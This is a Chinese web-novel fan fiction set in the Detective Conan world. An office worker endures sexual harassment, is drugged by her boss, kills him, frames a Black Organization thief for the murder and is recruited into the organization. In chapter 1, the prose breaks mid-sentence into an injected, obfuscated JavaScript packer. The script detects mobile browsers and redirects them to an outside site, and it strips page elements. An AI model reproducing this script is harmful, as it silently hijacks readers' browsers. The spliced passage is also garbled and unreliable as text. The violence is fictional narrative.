《黑衣组织职场日志》 1. 第 1 章 不美好的一天从通勤开始,若间菊江站在电车的角落里,昏昏欲睡。 昨天晚上她为了完成前辈交给她的任务,一直熬到凌晨两点,今天早上被四个闹铃吵醒,才匆匆忙忙化了个淡妆赶上早晨通勤的电车。 一般这个时间的电车人都很多,若间菊江已经习惯了这种人挤人的状态,甚至能通过人群的拥挤稳定住身形,低着头小憩一会。 半梦半醒中,她觉得自己的屁股好像被什么蹭了一下,她皱起眉,熟练地抬脚往身后一踩,一阵惨叫声在车厢里响起,一整车的人都从浑浑噩噩的状态中醒出来,好奇地望向声音传来的地方。 一个戴眼镜的男子脸涨得通红,正怒视着他身前的女生。 若间菊江笑嘻嘻地双手合十,摆出道歉的姿势,“真是不好意思,一不小心没有站稳踩到了,你不要紧吧。” 虽然口罩遮住了半张脸,但是道歉的女生眼睛弯弯的,声音甜美,看着便让人不忍斥责,更何况道歉也很有诚意,即使周围的人看到那双细高跟就觉得脚趾隐隐幻痛,不过既然鞋跟没落到自己脚上,那原谅她又能怎么样。 在周围人眼光无形的压迫下,若间菊江身后的眼镜男有苦难言,没法证明若间菊江就是故意的,更没办法说为什么她故意踩自己,只能低声慌乱地应了两声,在电车抵达下一站时顺着人流下了车。 真是恶心。 男人真是恶心。 若间菊江望着车窗外一闪而过的景色,想。 经过这么一折腾,她也没了什么睡意,高强度的熬夜使她的胃已经麻木了,即使没吃早饭也感受不到一丝饥饿,甚至被车厢里混杂的气味熏得反胃。 好不容易熬到下车,还要踩着高跟鞋挤出站台朝公司跑去,抓住打卡前的一分一秒。 等她坐到工位上,若间菊江感觉灵魂已经要离开自己的身体了。 这是若间菊江毕业后找的第一份工作,公司本身是国内外有名的大企业,薪资待遇也很不错,但工作的这两个月内她不止一次的质疑自己,当初的选择到底是不是正确的? 如果说工作压力大或者经常加班,她都还能忍受,难受就难受在…… “菊酱,早上好。”一名身着西装手里拿着咖啡的男子路过她的工位,招呼道。 “早上好,中村前辈。”若间菊江面上挂起微笑,回复道。 谁允许你这么喊我的啊。 “一大早就看到菊酱这么可爱的女孩子的笑容,就连工作都充满动力了啊。”中村大树用一贯油腻轻浮的语气说道,可惜再重的古龙水的味道也掩盖不住靠近时身上浓浓的烟味。 难受就难受在这个公司大部分的职员都是男人,而且还是毫无自知之明的男人。 “看到中村前辈还是这么有活力真好呢。” 要吐了。 “菊酱也是一如既往的可爱啊。”一旁的古川二郎也腆着脸凑上来搭话,身上不合体的西装简直要包不住他身上的肥肉,一起压在若间菊江工位前的玻璃挡板上。 “古川前辈早上好,今天也请多多指教啦~” 你也去死。 若间菊江尽力控制住自己的表情,竭力保持平静,回复道。 等问好的浪潮过去,若间菊江才能安稳地坐在自己的工位上整理昨天的工作,有时候她都怀疑课长是不是故意将她的位置安排在离门口最近的地方,以此来勾起那群中年大叔上班的热情。 这个想法每在她的脑海里过一次,都能把她恶心得够呛,所以若间菊江会刻意不去思考这种可能性。 从小被妈妈独自一人带大的她深知美貌于她并非武器,反而更像是一种枷锁,将她框在这个壳子里被迫接受那些形形色色的目光,像动物园里被参观的动物一样没有选择的余地。 “若间!过来一下。”大野课长在办公室门口喊她。 最该死的人来了。 “课长,什么事?”若间菊江在他的办公桌前站住,大野课长却没有第一时间说话,反倒是将办公室的门关上,才回到座位上坐好。 “喀哒”一声,门锁合上的声音隔绝了办公室外隐蔽观察的目光,也让若间菊江的心沉了下来。 大野课长是她的顶头上司,也是当初面试时对她极其友好的一位,若间菊江原本对他的第一印象不错,但这份好印象却被他亲手破坏了。 入职两个月以来,大野课长不止一次对她进行暗示,还总是喜欢以工作为由制造二人独处的空间。 明明每天上班的时候,手里还拎着妻子做的便当,在办公室闲谈的时候也会炫耀女儿在学校里的成绩,一副顾家好男人的形象,却三番五次想要对她抛出橄榄枝,甚至在她多次拒绝后,还隐隐以工作为要挟,想要以此逼她就范。 若间菊江觉得她的胃又在抗议了。 大野课长坐在办工作后,显然没有直接进入话题的意思,“菊酱来公司有一段时间了吧,还适应吗?” 现在叫的这么亲热,刚刚在外面装什么啊,老东西。 若间菊江垂下眼睛,淡淡道,“还可以,前辈们都很照顾我。” “听说昨天晚上的聚餐菊酱推掉了呢。” 若间菊江的眸光闪了闪,就是因为不想去才推掉的,不懂吗? “因为昨天晚上需要加班写策划案,我也十分遗憾。” 其实一点也不遗憾。 大野课长像是听到了自己想听到的答案,笑了起来,“像菊酱这么可爱的女孩子,即使不这么拼命工作也没关系的吧?今天晚上的聚餐是为了庆祝古川的上一个项目取得成功的庆功宴,菊酱一定有时间来吧?” 若间菊江深吸一口气,才勉强在脸上挤出一点笑容,“既然课长都这么邀请了,那我肯定会去祝贺古川前辈了。” 顶着各种打量、暧昧的目光坐回工位的时候,若间菊江已经近乎麻木了,这是她今天第二次问自己,她真的该留下来吗? *** 如果这件事问若间妈妈,那她的回答就永远都是应该。 下班后前往居酒屋的途中,若间菊江给妈妈打了个电话,还没等开口,电话的那边若间妈妈就敏锐地问道,“你是不是又想辞职了?” “嗯……”若间菊江的嗓子干涩,只能发出一个单薄的音。 “都说了让你坚持一下为什么不听呢?妈妈能够害你吗?”若间妈妈的话一句接一句得传来,“你的上司同事不是也没做什么吗?你现在最要紧的事就是通过你的工作找一个靠谱的男人嫁了,然后做好一个妻子,这样妈妈也就放心了。” “可是我……” 若间菊江的话还没说出口就被打断了,“好了好了,即使是东大的毕业生,女生想要进入你现在的公司也不容易,你一定要珍惜这个机会啊,我这还有事,先挂了。” 若间菊江站在来来往往的人流中,听着话筒里传来的忙音,很久以后才低低地应了一声。 如果不是听到了电话里传来出来的麻将的声音,她或许真的会以为妈妈在忙什么大事吧。 初春的风依旧寒冷,丝毫没有回暖的迹象,吹得若间菊江的四肢有些僵硬,她缓慢地走向车站,又顺着人群上了车,抵达定好的居酒屋的时候,前辈们都已经到了。 若间菊江谢绝了服务生帮忙开门的举动,想要在门口缓一缓冰冷的手脚再进去,讨厌的饭局能拖一刻就是一刻。 透过纸门,若间菊江能够听到屋内的阵阵笑声,她可以想象得到那种场景,相互恭维又相互谦卑,脸上得意自满的笑却暴露了心中的真实想法。 在一片喧闹中,她突然听到了自己的名字。 “小菊酱怎么还没到,是不是出什么事情了?” “不会是要放课长和古川的鸽子吧,哈哈哈哈。” “当初招她进来就是觉得咱们办公室也需要注入一点新鲜血液,看着也赏心悦目,没想到她这么不听话。”是大野课长的声音。 “没关系的课长,”这是古川二郎的声音,“菊酱或许也是刚来放不开,教导一点时间她就会明白了。” 放不开什么?教导什么?明白什么? 若间菊江的手指僵在门上。 好恶心好恶心好恶心。 若间菊江觉得她应该掉头就走,但是妈妈的话还不停地在耳边回荡,如果真的不进去的话,以后在工作中一定会被课长穿小鞋吧。 半晌,若间菊江缓缓吐出一口气,闭上眼睛拉开了包厢的门,“抱歉,路上出了点事情耽搁了。” 屋内热闹的氛围被打断,众人都停下手里的动作望向门口。 “没关系,菊酱来了就好。”古川二郎打圆场道,“特地给你留了一个位置,你去课长旁边坐吧。” 若间菊江的脚步停顿了一下,最终还是走了过去,在课长旁边的坐下了。 刚刚坐好,她的大腿上就被放了一只手,大野课长一边和身侧的人说话,一边在她大腿上轻拍了两下。 若间菊江有一瞬间想要折断那只手直接摔门离开,深吸了几口气后还是强忍着不适,拿起面前的生啤,“古川前辈,恭喜您的项目成功。”说着便直起身体去碰杯,借机甩掉了大腿上的手。 “哈哈哈,菊酱,这也要多亏你啊。” “欸?”若间菊江愣了一下,有种不太好的预感。 古川二郎在若间菊江来之前已经喝过一轮了,现在肥腻的脸上满是被恭维后的畅意,“上次你跟我说的那个想法虽然还不成熟,但是我回去后做了一些完善,在这个项目上做了实验,这才能够顺利进行的。” 若间菊江的手停在半空中,杯中的啤酒还在冒着细腻的泡泡,杯壁外凝结的水珠滴落,酒杯好像一瞬间有千钧重,让若间菊江的手拿不住似得微微颤抖。 看着周围的前辈都是一副理所当然的样子,若间菊江空白的大脑找回一点理智,现在说什么都是没有用的,“是、是吗?这也是大家一起努力的成果。” 一口气喝完一整杯酒,冰凉的液体穿过肠胃刺激得若间菊江的大脑有些发昏,周围的声音好像被什么透明罩隔离了,让人听不清楚,只能机械性地对外界做出反应,甚至对旁边又搭上来的手也毫无反应。 大野课长心下一喜,以为若间菊江终于想通了,手下轻轻摩挲着,但顾忌着场合没有更近一步。 等到酒局快要结束了,大野课长才听到耳边传来若间菊江轻柔的声音,“课长也是知道的吧,古川前辈借用了我的灵感这件事。” 他以为若间菊江要说什么呢,原来只是这点小事,大野课长皱起眉有点不耐烦,“古川的想法比你更成熟,还是你的前辈,帮你完善一下不是很正常吗,如果不是他,你的想法都不能得到公司的认可。” 若间菊江没了声音,大野课长压低声音,暗示道,“而且这种项目,你以后想要多少就有多少。”说完还在她的腿上拍了拍,以示安抚。 “是吗,谢谢课长。”包间里嘈杂的声音几乎要盖住了若间菊江的话。 大野课长的眼中闪过几丝满意,以为自己发出的信号终于被接收到了,没有注意到,直到散场,若间菊江都没有再说一句话。 *** 大野课长站在居酒屋门口,环顾四周寻找着,“菊酱,菊酱?我送你回去吧。” 不过上了他的车就不一定会是去哪了。 “课长您找若间啊,”他旁边的一位下属醉醺醺地说道,给他指了一个方向,“刚刚若间朝那边离开了。” 大野课长的脸色几番变换,最终黑了下来,“知道了。” 下属看到上司的神色,酒也清醒了几分,嚅嗫不安,最后找了个借口和同事一起离开了。 若间菊江一个人走在空荡荡的街道上,寒冷的夜风穿过她的外套直直吹进骨头,但她好像完全感受不到一样,衣摆被风吹得乱翻,昏暗的夜灯照着路也看不太清,和她的前途一样黯淡。 她今天晚上喝了太多酒了,即使本身酒量很好也有些昏昏沉沉,大腿上好像还有那种粘腻的触感,像是被癞蛤蟆爬过一样,令人作呕。 上大学时她没有听妈妈的建议选择教育或者艺术这种更受容易受到男人青睐的专业,而是一意孤行地学了计算机,毕业以后也顺利地竞争掉许许多多的对手,进入了一个同学都羡慕的公司。 她一直也为是因为她足够优秀才能脱颖而出,没想到到头来还是因为这张脸。 若间菊江的美貌遗传自妈妈,可自她有记忆起,美貌就一直在给她们增加负担。 最开始是爸爸在外面执行任务一直不回家,不良的混混看到若间妈妈一个人带着女儿住就会隔三岔五地来骚扰。 后来若间爸爸真的不在了,那些混混就变本加厉,爸爸的同事来看望这对母女的时候还碰见过几次,虽然都即时制止了,但都是治标不治本,等爸爸的同事离开后他们又会像苍蝇一样聚集上来。 这种情况一直持续到抚恤金下来了,若间妈妈带着她搬到治安更好的公寓才好了一些。 曾经年幼的她还想要拿着菜刀冲出去赶跑混混,却被若间妈妈拦了下来,她抱着女儿的头,隔绝外面那些污言秽语,口中不断喃喃自语,不知道是在安慰女儿还是在说服自己。 “忍一忍就好了,忍一忍就过去了。” 忍一忍就好了,忍一忍就过去了。若间菊江在心里默念。 她在街上漫无目的地走着,路过一条小巷的时候,突然冲出一道黑影,趁若间菊江躲闪不急,抢过她手中的包包就跑。 包带还抓在若间菊江手里,她还有力气,但是浑身上下的疲惫感让她不想反抗,顺从地松开手准备把包送给抢劫犯的时候,两道身影突然从身侧冲了上去。 松田阵平和萩原研二刚刚结束加班,这是他们警校毕业后经手的第一个大案子,□□处理班的众人连续通宵了好几天才堪堪结案。 “回去找点什么东西吃吧,肚子已经饿得不行了。”松田阵平伸了个懒腰,侧头跟萩原研二说。 “去楼下的便利店买点好了,我现在只想回去赶快睡觉。”萩原研二懒散地将胳膊搭在松田阵平的肩上,哈欠连天。 松田阵平哼笑一声,把墨镜摘下来放进了胸前的口袋里,还没说什么,余光里就看到一个正在对年轻女性下手的抢劫犯。 敢在警视厅门口抢劫,现在米花的犯人胆子都这么大了吗,受害者居然也没想着叫警察帮忙,警界的公信力都去哪了。 脑袋里闪过这两个念头,松田阵平一秒都没耽搁就冲了过去,萩原研二显然也看到了,紧随其后。 抢劫犯原本还想反抗,但显然不敌,被两人三下五除二地按在地上。 萩原研二捡起地上的包,轻轻拍落上面的灰尘,转身走向若间菊江递给她,“抱歉,你还好吗,有没有受伤?” 若间菊江垂着头,盯着自己的手,一动不动。 一旁的松田阵平将抢劫犯押进警视厅交给值班的警员后也走过来,嘴里还一边说着,“这么晚一个女孩子走夜路很危险的,快回家吧。” 萩原研二看出若间菊江有点不太对劲,把手指竖到嘴边,朝松田阵平比了个噤声的手势,摇了摇头,然后把包放到她手里,掏出警察手册向她展示,“不用担心,我是警视厅□□处理班的萩原研二,那边那个看起来有点凶的家伙是松田阵平,我们都是警察,你已经安全了。” 听到“警察”二字,若间菊江才像回过神来一样,缓缓抬头凝视着萩原研二手里的警察手册,良久,眼睛逐渐泛红,像委屈了很久突然可以发泄了,眼泪一大颗一大颗地涌出,蹲在大街上抱着手臂嚎啕大哭,哭声在寂静的大街上隔着很远都能听到,引得出来押送抢劫犯的警员频频转头往这边看。 萩原研二久违地有些手足无措,他在上小学后就没再经历过把女孩子惹哭这种事情了,没想到竟然在今天翻了车。 “这位小姐,发生什么事情了吗,有没有什么我们能够帮到你的?”萩原研二从口袋里掏出手帕递过去,若间菊江只是抓在手里,一边摇头一边接着哭,一句话都不说。 松田阵平走到他旁边带点幸灾乐祸地拍了拍萩原研二的肩膀,萩原研二无奈地看着他,“小阵平不要光看热闹,你也想想办法啊。” 平时的松田阵平对哄女孩子这种事向来敬谢不敏,但是若间菊江哭得的确很可怜,他身为警察的职业精神让他起了一些恻隐之心。 松田阵平抓了抓后脑勺,蹲到若间菊江面前看着她,憋了很久才憋出一句话,“吃棒棒糖吗?” 若间菊江看着松田阵平的手心,两个草莓味的棒棒糖带着一点甜腻的香气。 “好哇小阵平,有这种好东西偷偷藏起来不跟我分享。”萩原研二锤了松田阵平的后背一下。 “是正在戒烟的前辈送给我的,我也是刚刚才想起来的。”松田阵平被萩原研二打得一个踉跄,不满道。 帅气的警察十分关心你,在一般的情况下应该很能转移女孩子的注意了,可惜池面脸在今天也失效了。 若间菊江吸了吸鼻子,将棒棒糖拿过来,好不容易止住的眼泪又有点汹涌而出的意思了。 萩原研二苦恼地低着头,“果然把哄女孩子的事情寄希望于小阵平的我就是个大傻瓜。” “喂!什么话啊!不是你让我想办法的吗?而且……”松田阵平看着蹲在大街上哭得毫无形象的若间菊江,认命地说,“算了,有的时候哭出来比憋着强。” “所以我和小阵平就陪着那位女孩子在大街上哭到了将近凌晨。”萩原研二第二天早上对着前来八卦的同事解释道。 作为□□处理班的新人双子星,萩原研二和松田阵平因为长得帅专业技术又强,一直受到很高的关注,更别提这两位昨天下班后又疑似在警视厅门口的大街上惹哭了一位女性市民。 这个大事件一早上就传遍了整个警视厅。 松田阵平预料到了这个场面,早早的就找了个没人的休息室去补觉了,即使有前辈看到他,也会因为那张戴着墨镜凶神恶煞的脸而退缩不敢上前,而跑慢一步的萩原研二显然是更好的八卦对象。 “就是这样,真的没别的事情。”萩原研二再三解释。 “切,我还以为会有什么不得了的大八卦呢,”围在萩原研二周围的警察无趣地散开,“不过敢在警视厅门口抢劫,现在的罪犯还真是无法无天了。” “嗯,对啊。”萩原研二附和道,他倚着窗框侧身看向窗外明媚的阳光,街道上早起的上班族和学生们三三两两地走着。 所以我们才要更好地守护他们啊。希望那个女孩子以后生活能更顺利一些吧,他想。 *** 若间菊江睁开眼睛,盯着雪白的天花板发呆,宿醉的头痛姗姗来迟,眼框周围也发热发胀,不用照镜子就知道肿的要睁不开了。 昨天晚上从居酒屋出来以后的记忆都有些断断续续的,只记得好像碰到了两个好心的警察,后来就被送到酒店来了。 她看了一眼手机,已经快要中午了,电话上显示了十几通来店未接,基本上都是课长和前辈们的,她将手机抛开,翻了个身,放空大脑发了一会儿呆,才一轱辘坐起来。 房间很干净,除了床没有其他使用的痕迹,昨天晚上那两位好心的警察小哥将她送到酒店门口,看着女服务生将她扶进房间才离开。 桌子上摆着她的手提包,包里塞着一块皱皱巴巴、沾满她眼泪的手帕和两根棒棒糖,其余的东西也都完好的放在包里,显然那两位警察小哥的出手十分即时。 若间菊江拆开一根棒棒糖放进嘴里,草莓香精的味道勾起了她的一些记忆,她从来没有任何一刻比现在更坚定辞职的决心。 小的时候她理解不了妈妈的隐忍,现在能够理解了,但是不认同。 如果爸爸还在的话……若间菊江 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16643156|188151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 垂眼将东西收拾好,他一定会支持我的吧。 “菊酱一定要成为世界上最幸福的孩子,过自由自在的生活。爸爸就是一直为此而努力的。” 幸不幸福我决定不了,但是自由还是我能说了算的。 若间菊江编辑好辞职的邮件,发送到了大野课长的信箱里。 *** 退了房从酒店走出来,若间菊江觉得自己浑身轻松,甚至心胸也开阔不少,连大街上路过的男人也没那么面目可憎了。 她打了个车直奔墓园,下车的时候还感叹了一下现在出租车的价格,然后掏出来一副墨镜遮住了眼睛,被看到眼睛红肿的话爸爸肯定又要担心了。 若间菊江将怀里的菊花放在墓前,从兜里掏出手帕把爸爸的墓碑擦拭干净,站在那看着碑上的字,像闲谈一样开口了,“我准备辞职了,公司里的人我都好讨厌。妈妈知道了肯定会生气,不过从小到大我惹她生气也不是一回两回了,爸爸会帮我劝劝妈妈吧。” 若间菊江停顿了一下,又笑着说,“我都忘了,妈妈生气的时候爸爸也不敢上前,只敢带着我偷偷去做,妈妈又要说我们俩胡闹了。” “昨天晚上……我碰到两个警察,和爸爸好像,不过爸爸没有人家年轻帅气,大叔就不要不服老了吧。” “看到他们的警察手册,我突然想起来之前爸爸也自豪地跟我炫耀过,但是搬家的时候我怎么找也没找到,是不是被妈妈偷偷藏起来了啊。” 若间菊江的声音越来越低,到最后微微颤抖,她缓了一会儿,清了清嗓子,“现在的天气还是有点冷,不知道什么时候能变得暖和一点,我这两天嗓子都有点不舒服。” 她转过身,抬起头,手插在兜里,语气听起来很轻快,“我现在要去吃甜品店的当季新品啦,很火爆的呢,等下次来跟你说好不好吃。”然后没有再回头,抬脚走出了墓园。 在若间菊江身后,墓碑前的花朵被风吹过,轻轻动了动,一片花瓣落下,在空中飘飘荡荡绕了几圈,缓缓落在了泥土上。 从墓园离开后,若间菊江就打车到了她刚刚提到的甜品店。 明明很早之前就想来的,因为工作的关系一直没有时间,简直错过了好多。 若间菊江叼着蛋糕勺子,坐在玻璃墙旁看着街边的风景,在温暖的阳光中满意地眯起眼睛,不愧是店家主推的招牌,青柠的酸味很好地中和了蛋糕的甜腻,不枉她排了那么久的队伍。 手机在桌子上一直响,自从给大野课长发了辞职邮件后,她的手机来电就没停下来过,发现若间菊江不接电话后,他转而发起了邮件,什么好话赖话都说尽了,从“你回来薪资待遇还能再谈”,到“你以为你从这辞职了下一份工作就好找了吗”,若间菊江统统已读不回。 废话真多,若间菊江一边删除邮件,一边在心里吐槽。 最后可能是意识到若间菊江辞职的决心,大野课长终于不再挽留,而是换上了公事公办的语气,“你今天晚上来公司一趟吧,和公司签一份离职协议,如果不来的话就不算解约,即使你找到了下一份工作也没法顺利入职。记得晚一点来,别让人看到你,你辞职的事情我还没公布。” 若间菊江的手指顿了一下,这才同意了,虽然不知道课长打的什么鬼主意,但是有一点他确实说得没错,求职的时候如果身上还有和前公司的纠纷是很不利的情况。 若间菊江喝完果汁的最后一口,在桌下晃了晃腿,心情愉悦。 离职这件事还没告诉妈妈,等她知道了肯定有得闹了,不过至少现在她是开心的。 可惜若间菊江的开心只维持到与大野课长见面之前。 当若间菊江遵循约定的时间抵达公司的时候,整栋大楼已经空空荡荡了。 见惯了人声嘈杂的公司,这么寂静的样子还真是让人不习惯,一路山没有碰到一个人,若间菊江眉头皱起,没有忽略心里的异样,扫了一眼还在运作的监控,搭上了去课长办公室的电梯。 往常这条路她都是走惯了的,即使没有灯光也不至于找不到地方,若间菊江在透着光的办公室门口停住脚步,用手腕上的皮筋将身后披着的栗色的长卷发扎了个利索的马尾后才抬手敲门。 “课长,我来了。” “菊酱啊,进来吧。”大野课长的声音从屋里传来。 若间菊江推开门,发现屋里只有大野课长一个人,“协议拟好了吗?”她不想废话。 “当初招你进来的时候也没发现你这么心急,连这一会儿都等不了吗?”大野课长端过来两杯水,不慌不忙地说。 “如果你继续留在公司,再过一两年项目少不了你的。” “即使是在这一两年里给人当垫脚石吗?”若间菊江冷笑一声,感觉心里有一股无名火起,不过现在争论这些也没什么用了,她端起被子喝了口水,压了压火气。 大野课长噎了一下,他还没有适应若间菊江突然变得犀利的说话方式,不过这也让他对若间菊江这个人更感兴趣了。 他掩饰住嘴角的笑意,从办公桌上拿出一份文件递过去,“既然如此菊酱先好好看看吧,一旦签上名字就没办法再反悔了啊。” 若间菊江狐疑地看着茶几上的离职协议,直觉不对,以大野课长之前的作风,应该不会让她很顺利的离职才是,难道是在协议里挖了什么坑? 认真看文件的时间里,大野课长就那么悠然自得地处理自己的工作,像是在等待什么,若间菊江一条条看下去,确认没问题了才在文件最下面签好字,站起来准备拿给大野课长的时候,突然身体一晃,精神恍惚了一瞬。 “你做了什么?”若间菊江很快反应过来,大野课长端过来的水有问题。 “因为菊酱真的非常非常可爱,”大野课长像是陷入了什么幻想中,表情痴迷,“如果菊酱答应我的话,项目也好,钱也好,我都会给菊酱的,我记得菊酱是单亲家庭吧,过得轻松一点不好吗?” “哗啦”,若间菊江将水杯摔在地上,因为药物的作用眼神有点迷离,但她还是强行稳住身形,“课长真是对我调查得全面啊,”她低声嘲讽,“可惜你算错一件事。” 若间菊江咬住舌头,口腔里瞬间血腥气蔓延,疼痛也让她的大脑有了一丝清明,她弯下腰捡起一块碎玻璃,毫不犹豫地狠狠地扎进手心,“我还没有柔弱到让你这种卑劣的戏码得逞。” 说罢她猛地弯腰躲过大野课长伸过来想要控制他的手,反身一脚踹在对方的腰上,大野课长不受控制地向前扑去,若间菊江顺手抄起茶几上的烟灰缸,朝他的后脑勺狠狠砸过去。 大野课长脸上的错愕还没散去,只觉得脑袋传来剧痛,随即便失去了意识。 若间菊江面无表情,又举起了烟灰缸,几声闷响,确定大野课长没有再爬起来的风险才停手,手心的伤口因为大幅度的动作血流不止,顺着水晶的烟灰缸,与大野课长的血汇成一股,滴到地毯上消失不见了。 *** 水野上是组织最底层的一员,他加入组织已经有半年了,干得都是一些传话似的活儿,这让想要向上爬的他很不甘。 每天都干这种杂事,什么时候才能获得代号? 取得代号在他们这些底层人员眼里是进入组织核心的标志,也是他水野上成为组织高层的必经之路,总是干这些小事,什么时候才能让上面的人看到他的能力? 或许是老天听到了他的愿望,这天他的上线突然交给他一项任务,“你去这个公司里将一个名叫‘大野’的男人的电脑里的数据偷出来。”上线说着,递给他一张照片。 “这不是那个国内外很有名的大企业,他们难道和组织也有接触?”水野上好奇地问道。 “组织的事情打听那么清楚干什么,你的小命不想要了吗?”上线瞪了他一眼,“交给你的任务好好完成就行了,组织里容不下多嘴的人。” “是,我明白了。”水野上小心翼翼地回道,却在心里翻了个白眼。 盗窃这种事,对于水野上来说应该是手到擒来的,从初中期他就开始偷附近一些人家的钱财,被抓住了也能够凭借未成年的身份脱罪,只是批评教育几句就可以走了。 这也养成了他越来越大的胃口,直到后来在一次盗窃时被那户人家的女儿发现,他一时慌乱杀死了那个小孩,才意识到酿成了大错,在被警察通缉的过程中兜兜转转,最终加入了组织。 “大公司也不过如此嘛。”水野上拿着他事先打探好的路线图,翻窗潜进了大楼里,这一路上甚至都没有巡逻的安保人员,像是被人提前打点好方便他今天来偷东西一样。 水野上在心里犯嘀咕,不过这对他是一件好事,也许这也是组织安排的呢,想着,他对组织的敬畏程度又上了一层。 到达目标办公室门口的时候,水野上发现办公室的门缝中透出来了丝丝光亮,难道办公室里还有人? 他咽了口唾沫,想要悄悄打开一条门缝往里看看,不过不知是因为门本身的质量问题,还是因为心慌造成的失手,门板打开时发出了轻微的“吱呀”声。 水野上还没来得及慌乱地补救,就看到了给他极具冲击力和震撼的一幕。 只见屋子中间站着一个栗色头发的女人,正在拿着笤帚扫着地毯上的什么东西,她其中一只手沾满了血迹,本人却像没发现一样哼着歌,轻松悠闲得像是休息日在自家充满阳光的大房子做大扫除一样。 不过现实的画面没那么美好,仔细观察就会发现,沙发和茶几没有挡住的地方露出了一双男人的脚。 听到声音,女人回过头来,明明是一张清丽的脸,但因为右半张脸被溅上了斑斑血迹,显得美艳又具有攻击性,让人不难猜出这里刚刚发生了什么。 看到水野上,女人舔舔唇,勾起一个笑容,语气轻柔,却让水野上恐惧得头皮都要炸开了。 “原来今天晚上不止我一个客人呀?” 2. 第 2 章 这简直是恐怖片的高潮片段。 水野上觉得他应该转身就跑,但是这样一来组织的任务就没办法完成了,任务失败等待他的也只有死路一条。 要不拼一把吧,对面只不过是个女人罢了。 水野上艰难地咽了口唾沫,干涩的喉咙发出“咕咚”一声,在寂静的大楼里清晰可闻。 若间菊江笑了起来,她看见了水野上从身后缓缓掏出来的刀子,却还是像没事人一样跟他打招呼,“这位小哥是来干什么的?不会是来杀大野课长的吧?课长的仇家还真是多欸。” 怎么能挑今天来杀课长啊,害得她都被看到了,若间菊江不无抱怨地想。 “你还真是冷静啊。不过可惜了,有什么话下辈子再讲吧。”水野上放了句狠话给自己壮了壮胆子,举起手中的刀就冲了上来。 若间菊江站在原地一动不动,看上去被吓蒙了,水野上嘴角勾起一抹残忍的笑,只不过下一秒他就笑不出来了。 若间菊江忽然伸手掐住了他举着刀的那只手的手腕,随后一个转身,没等水野上反应过来,就被压着胳膊按在了地上,头被怼在地毯上,鼻间还能闻到淡淡的血腥气。 “小看女人真是不可取的缺点。”若间菊江在他身后感叹,“明明前车之鉴都还躺在地上。” 水野上艰难地侧过脸,挣扎着想要往身后看去,结果下一秒就感到颈后一麻,失去了意识。 等水野上再次醒过来的时候,已经被绑在了椅子上,那个可怕的女人坐在沙发上,一条腿搭在另一条腿上,惬意地翻看着他的手机。 “呜呜!”水野上的嘴里不知道被塞了一团什么东西,让他说不出话,只能发出含含糊糊的声音。 听到声音的若间菊江看过来,没事人一样地向他招了招手,“你醒啦?现在感觉怎么样?我在房间里找了一圈才找到这跟绳子,应该是课长为我准备的吧,只能先给你凑合用了,虽然粉色跟你很不搭啦……” 水野上这才注意到绑着自己的绳子,或者说,称为“情趣用品”更合适,粉红色的绳子上还挂有小铃铛,一挣扎就会叮叮作响。 他睁大眼睛,惊恐得看着若间菊江,引得她不满地“啧”了一声,“你那是什么眼神啊,你可是男人,长得还这么丑,我又不会对你怎么样。比起你,”若间菊江晃了晃手中水野上的手机,“我还是对你的组织更感兴趣。” 水野上闻言挣扎得更厉害了,眼珠都要从眼眶里瞪出去了,如果让外人知道了组织的情况…… 水野上的不配合让若间菊江很不高兴,“你的上司刚刚可是给你打了好几个电话催你了,为了不让他担心你,我还替你接了。” 若间菊江上前,不知何时地毯已经被撤掉了,高跟鞋踩在大理石的地面上,发出“哒哒”的声音,在水野上听来这简直是死神的脚步声。 “告诉你一个好消息吧,你的上司没有责骂你,”若间菊江伸手在水野上的肩膀上拍了拍,安慰道,“不过坏消息是,他说只要把大野课长电脑里的东西拿给他,你就随便我怎么处置了。” “原本我还想着怎么处理你好呢,”若间菊江表情苦恼,“不过我突然想起来,你一年前因为入室盗窃杀人而被警方通缉了吧,我看到过你的通缉令。” “那我就做一件好事吧。” 水野上绝望地闭上了眼睛。 第二天早上,从河边晨跑回来的若间菊江路过公司大楼,不出意外地发现楼下已经围满了警车。 一个身穿褐色风衣的警官压着头上的帽子匆匆忙忙地进入大楼,若间菊江若无其事地看了会儿热闹,等到肚子饿得咕咕叫了才离开去解决早饭。 作案动机有了,监控黑掉了,凶手也在河里准备就绪了,若间菊江美滋滋地喝完杯里的最后一口牛奶,准备回家补个觉。 养足精力才能更好地适应新工作啊。 *** “近日,一男子在公司遭人杀害,凶手为通缉犯水野上,据警方公布的信息显示……今天早上八点四十分,水野上被人发现溺亡在据米花公园三公里处的河中……或因逃亡时失足掉落……” 新闻的声音戛然而止,转而变成了最新的搞笑综艺节目。 拉面店的老板放下遥控器,怒斥着服务生,“在拉面店的电视里放杀人事件,客人们怎么还能有胃口在店里吃饭啊!” “十分抱歉,我下次一定注意!”服务生低着头道歉。 若间菊江擦了擦嘴角,将钱放在桌子上,起身离开了拉面店。 她加入黑衣组织已经有三四天了,原本那天她打算将课长电脑里的东西交给水野上电话那头的人就走,没想到反而被叫住了。 “你有没有兴趣加入我们组织?”水野上的上线问道,他很看好眼前的人,能力出众,出手狠辣,如果加入组织想必很快就能获得代号,到时候介绍对方进入组织的他也能获得一定的好处。 如果招揽成功还好,如果对方拒绝了…… 上线将手缓缓摸至腰后,那里别着一把手枪。 若间菊江双手插在大衣的兜里,慢吞吞地回头,看着对方一身黑色的怪异打扮,不怎么抱有希望的问,“你们组织待遇怎么样?” “待、待遇?”上线一愣,他从年轻的时候就开始在组织里混,没上过一天正常的班,对外面那套招人的话术并不熟悉,当然,也没人在面对组织发来的邀请时询问这些东西。 “就是薪酬奖金和休息的情况啦!”若间菊江不耐烦地重复道。 “平时有基本的资金支持,完成任务后有额外的钱。如果获得代号会有更多经费补贴。嗯……平时没任务的时间都可以自由支配。”上线磕磕绊绊地说道。 “请假制度?” “只要你的上司同意。”不过一般是不同意的。 “在哪工作?” “视任务情况而定。” 那就是总出外勤,不用和同事朝夕相对。 若间菊江挑了挑眉,来了点兴趣,“要签合同吗?” 